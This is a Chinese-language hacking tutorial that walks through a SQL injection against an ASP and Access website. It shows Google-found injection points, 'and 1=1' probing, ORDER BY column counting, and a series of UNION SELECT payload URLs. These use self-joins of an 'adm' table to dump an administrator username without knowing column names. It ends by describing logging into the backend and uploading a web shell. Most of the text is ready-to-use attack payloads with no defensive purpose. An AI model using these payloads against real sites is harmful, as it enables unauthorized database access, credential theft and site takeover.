灵活利用Access注入点
这篇文章的技术含量一般,主要是想通过其中的过程给大家带来一点思路。:P
检测某个网站,使用Microsoft-IIS/5.0和Asp+Access构建,通过Google搜索到一个sql注射点http://www.test.com/detail.asp?issueID=322。
在url后加and 1=1返回正常,and 1=2报错,如图所示:
利用order by检测到字段数目为17,然后用穿山甲扫,检测到一个adm表,里面只有id字段,于是换了啊d,明小子等注入工具试试也没检测出来。因为是Access的数据库,只能靠猜,这些时候大部分人要放弃了,但突然想要能用Access偏移注入,利用此技术不需要知道具体的字段名而爆出数据。步骤如下:
前面检测到字段数为17和知道一个adm表,所以访问以下链接返回正常页面
http://www.test.com/detail.asp?issueID=-322?Union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from adm
然后依次访问
http://www.test.com/detail.asp?issueID=322Union select 1,* from adm,
http://www.test.com/detail.asp?issueID=322Union select 1,2,* from adm,
http://www.test.com/detail.asp?issueID=322Union select 1,2,3,,* from adm
字段逐渐递增直到页面返回正常:
http://www.test.com/detail.asp?issueID=322Union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,* from adm
此时字段数为14,17-14=3,由此推出adm的字段数目为3,自联adm表后也就是2*3=6个字段,然后我们加上11个字段凑数就变成了17个字段,如下:
select 1,2,3,4,5,6,7,8,9,10,11,* from (adm as a inner join adm as b on a.id=b.id)
访问地址:
http://www.test.com/detail.asp?issueID=322union select 1,2,3,4,5,6,7,8,9,10,11,* from (adm as a inner join adm as b on a.id=b.id)
爆出了cliff,目测是用户名,再继续爆密码,在11后添加a.id,这时候爆出的还是用户名,继续添加b.id
http://www.test.com/detail.asp?issueID=322union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,* from (adm as a inner join adm as b on a.id=b.id)
相应位置显示为1,应该是id字段,我们继续
http://www.test.com/detail.asp?issueID=322union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,c.id,* from ((adm as a inner join adm as b on a.id=b.id) inner join adm as c on a.id=c.id)
此时还是没有爆出密码,有点郁闷。
几乎要放弃时,突然又想到了可以到登陆页面寻找字段,于是到了http://www.test.com/login.asp查看源文件,找到login和pswd
把它们添加到穿山甲扫描,用户名居然扫不出,估计数据库不是这个字段吧,但是前面通过偏移注入爆出了一个用户名cliff,而且id为1,直接用它和对应的密码即可登陆
后面的事就简单了,登陆后台,上传web木马,一条龙无压力